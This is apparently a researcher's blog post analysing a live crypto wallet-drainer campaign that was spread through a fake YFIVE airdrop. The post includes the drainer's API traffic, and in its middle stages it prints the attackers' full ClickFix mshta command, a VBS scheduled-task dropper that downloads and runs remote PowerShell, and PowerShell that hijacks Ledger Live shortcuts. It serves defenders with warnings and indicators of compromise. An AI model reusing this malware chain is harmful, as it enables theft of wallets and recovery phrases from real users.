At the end of July 2025, something unusual landed in my Ethereum wallet: a tiny ERC-20 token, 0.0001 YFIVE.FINANCE (YFIVE).

This wasn’t the first time I had received random assets. I’d seen a few NFTs arrive out of nowhere before, but this was the first time it was an actual token.

Screenshot

At first I assumed it might be an airdrop, but the amount was extremely small, and I don’t use this address for Web3 applications, it’s just a cold wallet for holding a few tokens. Curiosity got the best of me, so I started digging.


Following the Trail Link to heading

I checked CoinMarketCap and Etherscan:

Everything looked legitimate at first glance: the project had been listed since 2020 and had an active X account (YFIVE Finance).

The website linked on CoinMarketCap, hxxps[:]//www.yfive[.]finance/, immediately redirected to another domain: hxxps[:]//hub-yieldusd[.]net/.

  • A quick curl to the hub domain returned a 307 redirect to a seemingly unrelated domain, which already felt unusual. The domain changed after each curl request, indicating active rotation.
  • At the end of July 2025, the redirection was instead to reward-yieldusd.net. I did not dig into that version in detail, but its layout is identical to the hub-yieldusd.net version. The few features I looked at on reward-yieldusd.net exist on hub-yieldusd.net.
  • Visiting the hub site in a browser triggered a persistent “Connect Wallet” popup very similar to WalletConnect. Closing it made it reappear on any click on the website.
  • The (fake) site claimed to advertise a token named YUSD, a “self-custodial, yield-generating stablecoin”, and asked users to check eligibility for YUSD tokens. The YUSD token exists, but it is completely unrelated to this campaign.
  • There’s even a chat feature to assist users (but I didn’t test it).

Screenshot

Even a quick glance at the console and network activity suggested this was not a simple yield website. Images location like hxxps[:]//hub-yieldusd.net/drainer/assets/ethereum.png hinted at a wallet-draining intent.

Screenshot


Eligibility Checks before Wallet Draining Link to heading

It’s common for new-token pages to ask for a public address to check eligibility for an airdrop. Curious about the “eligibility check”, I tried it, but I wasn’t eligible.

Screenshot

I tried again with a Coinbase address (Coinbase 10) that actually held tokens.

Behind the scenes it was a POST request to /eligibility with the following JSON:

{
  "eligibilityAddress": "0xA9D1e08C7793af67e9d92fe308d5697FB81d3E43"
}

Response:

{
  "value": "275713753.57",
  "found": true
}

Suddenly the wallet appeared eligible for massive token claims of 4500 YUSD.

Screenshot

The value in the JSON did not match the amount displayed, it was probably some internal metric representing token amounts that can be targeted. I did not investigate exactly what this number represents.


First Draining Link to heading

To explore safely, I used a Talisman wallet in my browser. I set it up with a private key obtained from keys.lol that contained only dust tokens.

I started by connecting my Talisman wallet, but I got a message telling me I wasn’t eligible.

Screenshot

My wallet with dust tokens was probably not worth draining.

I fired up Burp and started inspecting traffic, and saw API calls to api.hub-yieldusd.net.

First stop: POST /connect with my wallet address. The answer was a JSON with an empty list.

I tried again, but intercepted the request and replaced the address with the previous Coinbase address. The response was very different. Since this address held many tokens, the list this time contained 340+ elements with current balances and a "receiver" address, one per token. Essentially it mapped out the victim wallet and prepared multiple automated transactions.

Screenshot

After that I received signing requests in Talisman.

Screenshot

Screenshot

I approved a few, but my wallet didn’t contain enough ETH to cover gas fees. Regardless, the flow attempted to drain tokens I didn’t hold.

In Burp I noticed multiple API calls:

  • POST /transaction: submits crafted ERC-20 transactions using permit or approve methods to transfer tokens to attacker-controlled addresses.
  • POST /monitor: sends the status of each transaction back to the server.

Example of a POST /transaction:

{
  "asset": {
    "chainId": "0x1",
    "contract": "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48",
    "scheme": "erc20",
    "amount": "0x4d9c5816f568",
    "type": "permit",
    "value": "85325355.60",
    "permit": {
      "nonce": 0,
      "version": "2",
      "name": "USD Coin"
    },
    "receiver": "0x25338a861a5ebc320c0a803641812f12796ade6e"
  },
  "response": "0xf88efcd8aee153b56a0bc39620ff87887e9219d165695ebccf77b155f0543426505cf515ac565930ad6b85e2e784cdd23125bc1ebfeb1db2fb8c84ae274f5ee51b",
  "address": "0x157bfbecd023fd6384dad2bded5dad7e27bf92e4",
  "chainId": "0x1",
  "wallet": "Talisman"
}

The transaction failed (obviously). The /monitor response reported an error. I trimmed the original long stack string to the most relevant lines for the blog:

{
  "process": "DRAIN_TRANSACTION_ERROR",
  "error": {
    "message": "Internal JSON-RPC error.",
    "code": -32603,
    "data": ""
  },
  "stack": "o@moz-extension://a242e81b-3043-4b8c-b8c9-bbc631eb91e6/page.js:1:54270\n... (trimmed for clarity) ...\nestimateGas@https://hub-yieldusd.net/c1ZfeUV8aYjb8vgljUOxbjQiodh0LJTM.js:878:652173\nEventListener.handleEvent@https://hub-yieldusd.net/c1ZfeUV8aYjb8vgljUOxbjQiodh0LJTM.js:878:687329",
  "data": {
    "asset": {
      "chainId": "0x1",
      "contract": "0xdac17f958d2ee523a2206206994597c13d831ec7",
      "scheme": "erc20",
      "amount": "0x1a84e7d7cb28",
      "type": "approve",
      "value": "29159002.43",
      "receiver": "0x2abbaa036ce19b69e506976e718b5e74b6e30a2c"
    }
  },
  "address": "0x157bfbecd023fd6384dad2bded5dad7e27bf92e4",
  "chainId": "0x1",
  "wallet": "Talisman"
}

I let the drainer run in the background, approving and dismissing popups about insufficient gas fees, and explored other features.

Screenshot

At some point I checked revoke.cash to inspect the permissions I was granting. Quite impressive.

Screenshot


Discovering Advanced Features Link to heading

I inspected the JavaScript code to find additional endpoints and to check whether any wallet addresses were hardcoded. I found the following (in addition to /transaction, /monitor, and /eligibility):

  • /import: attempts to steal the wallet mnemonic or private key directly.
  • /walletapp/command and /walletapp/verify: unclear at first, but the JS checked the user agent; given the endpoint names, I assumed they interact with software/hardware wallets.

At this point I understood the operation was more advanced than I’d thought. I observed multiple independent mechanisms designed to achieve the same objective: draining wallets. The drainer is modular and multi-pronged, not just a single linear workflow.

Giving Your Mnemonic Link to heading

I went back to the (overridden) WalletConnect popup. In the list I saw a line called “Different wallet,” and it asked for the mnemonic.

Screenshot

Behind the scenes it was POSTing the mnemonic via the /import endpoint in AJAX, so even if you don’t confirm the connection because you realize it’s a bad idea, it may already have sent sensitive data.

Screenshot

I clicked on Ledger in the popup to explore walletapp features. I was still using a Linux user agent and it asked for the mnemonic as well; behind the scenes it used the same /import endpoint.

Screenshot


Advanced Drainer (Windows) Link to heading

I switched my user agent to a Windows string and tried Ledger and Trezor flows; the behavior changed. A ClickFix payload message was displayed.

Screenshot

Stage 1 Link to heading

Behind the scenes, this request is performed to retrieve the payload to paste:

POST /walletapp/command HTTP/2
Host: api.hub-yieldusd.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...
{"walletName":"ledger","verificationId":"9931","address":"","chainId":"","wallet":""}

Response:

{
  "command": "cmd /c start /min mshta \"https://bothnationaldomainzones.com/connect.html\" & title VERIFICATION ID - 9931"
}

I visited https://bothnationaldomainzones.com/connect.html and saw a Ledger logo on a black page.

Screenshot

The source turned out to be an mshta payload that loads a VBS script.

  Sub Window_onLoad()
    Window.ResizeTo 520, 480
    Window.MoveTo (Screen.Width - 540) \ 2, (Screen.Height - 500) \ 2
    CreateScheduledTask
    ClearClipboard
    ShowSuccessMessage
  End Sub

  Sub CreateScheduledTask()
    Dim svc, rootFolder, taskDef, triggers, trig, action
    Dim startTime, startBoundary

    startTime = DateAdd("n", 2, Now)
    startBoundary = Year(startTime) & "-" & Right("0" & Month(startTime),2) & "-" & _
                    Right("0" & Day(startTime),2) & "T" & _
                    Right("0" & Hour(startTime),2) & ":" & _
                    Right("0" & Minute(startTime),2) & ":00"

    Set svc = CreateObject("Schedule.Service")
    svc.Connect()

    Set rootFolder = svc.GetFolder("\")
    Set taskDef    = svc.NewTask(0)

    taskDef.Settings.DisallowStartIfOnBatteries = False
    taskDef.Settings.StopIfGoingOnBatteries  = False

    Set triggers = taskDef.Triggers
    Set trig     = triggers.Create(2)
    trig.StartBoundary = startBoundary
    trig.DaysInterval  = 1

    Set action = taskDef.Actions.Create(0)
    action.Path      = "powershell.exe"
    action.Arguments = "-NoProfile -ExecutionPolicy Bypass -WindowStyle Minimized " & _
      "-Command ""Invoke-WebRequest -Uri 'https://freewhoisprivacyprotection.su/73b4-4025.html' -UseBasicParsing | Invoke-Expression"""

    Const TASK_CREATE_OR_UPDATE = 6
    Const TASK_LOGON_NONE       = 0
    rootFolder.RegisterTaskDefinition "x", taskDef, _
      TASK_CREATE_OR_UPDATE, "", "", TASK_LOGON_NONE
  End Sub

  Sub ClearClipboard()
    Dim objHTML
    Set objHTML = CreateObject("htmlfile")
    objHTML.parentWindow.clipboardData.setData "text", ""
    Set objHTML = Nothing
  End Sub

  Sub ShowSuccessMessage()
    document.getElementById("success").style.display = "block"
  End Sub

The VBS creates a scheduled task that downloads and executes a PowerShell script, providing persistent access via a scheduled task.

Stage 2 Link to heading

The PowerShell script (https://freewhoisprivacyprotection.su/73b4-4025.html) looks like this:

$ledgerLivePath = "C:\Program Files\Ledger Live"

function Check-LedgerLivePath {
    if (-Not (Test-Path $ledgerLivePath)) {
        return $false
    }
    return $true
}

$pathExists = Check-LedgerLivePath

if (-not $pathExists) {
    exit 1
}

$packagesPath = [System.IO.Path]::Combine($env:LOCALAPPDATA, "Packages")
$sourcePath1 = "C:\Users\Public\Desktop\Ledger Live.lnk"
$sourcePath2 = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Ledger Live.lnk"

$tempPath1 = [System.IO.Path]::Combine($packagesPath, "Ledger Live.lnk")
$tempPath2 = [System.IO.Path]::Combine($packagesPath, "Ledger Live (Start Menu).lnk")

$publicShortcutExists = Test-Path $sourcePath1

if ($publicShortcutExists) {
    Move-Item -Path $sourcePath1 -Destination $tempPath1 -Force
}

if (Test-Path $sourcePath2) {
    Move-Item -Path $sourcePath2 -Destination $tempPath2 -Force
}

$batFilePath = [System.IO.Path]::Combine($packagesPath, "test.bat")
$batFileContent = @"
@echo off
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File ""$packagesPath\ooo.ps1""
exit
"@
$batFileContent | Out-File -FilePath $batFilePath -Encoding UTF8

$ps1FilePath = [System.IO.Path]::Combine($packagesPath, "ooo.ps1")
$url = "https://freewhoisprivacyprotection.su/83d0-bed2a.php"
$response = Invoke-WebRequest -Uri $url -UseBasicParsing
$response.Content | Out-File -FilePath $ps1FilePath -Encoding UTF8

$vbscriptCode = @'
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "%LOCALAPPDATA%\Packages\test.bat", 0, False
'@

$vbsFilePath = [System.IO.Path]::Combine($packagesPath, "zzz.vbs")
Set-Content -Path $vbsFilePath -Value $vbscriptCode

Start-Sleep -Seconds 1

$threeDObjectsPath = Join-Path -Path $env:USERPROFILE -ChildPath "3D Objects"
if (-Not (Test-Path $threeDObjectsPath)) {
    New-Item -Path $threeDObjectsPath -ItemType Directory | Out-Null
}

if ($pathExists) {
    $shell = New-Object -ComObject WScript.Shell

    if ($publicShortcutExists) {
        $shortcutPath = [System.IO.Path]::Combine([Environment]::GetFolderPath('Desktop'), "Ledger Live.lnk")
    } else {
        $shortcutPath = [System.IO.Path]::Combine($threeDObjectsPath, "Ledger Live.lnk")
    }

    $iconPath = "C:\Program Files\Ledger Live\Ledger Live.exe"
    $shortcut = $shell.CreateShortcut($shortcutPath)
    $shortcut.TargetPath = $vbsFilePath
    $shortcut.IconLocation = $iconPath
    $shortcut.Description = "Ledger Live - Desktop"
    $shortcut.Save()
}

try {
    (Get-Item $threeDObjectsPath).LastWriteTime = Get-Date
} catch {}

In short, the script:

  1. Checks if Ledger Live is installed.
  2. Moves existing Ledger Live shortcuts to a hidden folder.
  3. Downloads a malicious PowerShell script from a remote URL.
  4. Creates a batch file and VBScript to run the script hidden.
  5. Replaces the user’s Ledger Live shortcut with a malicious shortcut.
  6. Hides evidence by adjusting folder timestamps.

Stage 3 Link to heading

I navigated to https://freewhoisprivacyprotection.su/83d0-bed2a.php, which served another PowerShell script:

$edgeProcess = Start-Process "msedge.exe" -ArgumentList "--user-data-dir=C:\Temp\EdgeNoSettings --window-position=-20000,-20000 --new-window --app=https://registermultipledomainsatoncewithease.su/whatisthis123"
Start-Sleep -Seconds 4
$edgeWindow = Get-Process | Where-Object { $_.MainWindowTitle -like "*Ledger Live*" }

if ($edgeWindow) {
    Add-Type @"
    using System;
    using System.Runtime.InteropServices;
    public class WindowManagement {
        [DllImport("user32.dll")]
        public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int x, int y, int width, int height, uint uFlags);
        [DllImport("user32.dll")]
        public static extern int GetSystemMetrics(int nIndex);
    }
"@
    
    $hWnd = $edgeWindow.MainWindowHandle
    $screenWidth = [WindowManagement]::GetSystemMetrics(0)
    $screenHeight = [WindowManagement]::GetSystemMetrics(1)
    
    $windowWidth = 1024
    $windowHeight = 768
    
    $x = ($screenWidth - $windowWidth) / 2
    $y = ($screenHeight - $windowHeight) / 2
    
    [WindowManagement]::SetWindowPos($hWnd, [IntPtr]::Zero, [int]$x, [int]$y, $windowWidth, $windowHeight, 0x0040)
}

This script:

  1. Opens Edge in a hidden/off-screen window pointing to a suspicious URL.
  2. Searches for a Ledger Live window.
  3. If found, centers and resizes it, potentially to prepare screen overlay attacks (fake popups for stealing credentials).

Final stage: draining Link to heading

The /whatisthis123 endpoint redirected (302) to another site:

GET /whatisthis123 HTTP/1.1
Host: registermultipledomainsatoncewithease.su
...
HTTP/2 302 Found
Location: https://thisisatestofsendingapostrequest.com/xea3802d8ha32ds.html

https://thisisatestofsendingapostrequest.com/xea3802d8ha32ds.html is a fake Ledger web app. It looks convincingly like the real app: a blurry portfolio screen with an error that asks for the recovery mnemonic.

Screenshot

Screenshot

Screenshot

The words are sent via AJAX:

Screenshot

Trezor Link to heading

The Trezor flow uses the same payload and stages as the Ledger flow but with different domains; it may still be under development:

  • https://peaceofmindzone.com/connect.htmlhttps://freedomainprivacyprotection.su/za33-bj6x.html (this last domain didn’t resolve at the time of analysis).

Screenshot

Screenshot

Screenshot


Key Takeaways / Warnings Link to heading

  • This is a sophisticated wallet drainer, disguised as a legitimate airdrop site. Domains are quite new and it’s probably still in development. The receiver addresses are multiple and change when you call the /connect endpoint, making on-chain analysis, and identifying drained victims, difficult or impossible.
  • Never connect a wallet to unknown websites, even for tiny “airdrops”.
  • Check permissions on revoke.cash regularly to revoke any approvals.
  • Watch for phishing redirections, fake wallet apps, or sites asking for mnemonics.

Indicators of Compromise (IoCs) from this campaign:

  • Domains: hub-yieldusd.net, reward-yieldusd.net, bothnationaldomainzones.com, registermultipledomainsatoncewithease.su, peaceofmindzone.com, freedomainprivacyprotection.su, freewhoisprivacyprotection.su, thisisatestofsendingapostrequest.com
  • Address sending the YFIVE token: 0x95b6d806fde0f21ef31603de69e56f783ed2e13d

Conclusion Link to heading

A random tiny ERC-20 token sparked curiosity and led to the discovery of a live, ongoing wallet-draining campaign. The combination of fake airdrops, malicious wallet popups, and follow-on malware demonstrates how even seasoned crypto users need to stay vigilant.

I suspect attackers found that the original domain/project was abandoned (or discovered a misconfiguration) and repurposed it, buying some tokens and sending them to many addresses as bait.

PS: The website is protected by Cloudflare, and I was automatically blocked at one point.

Screenshot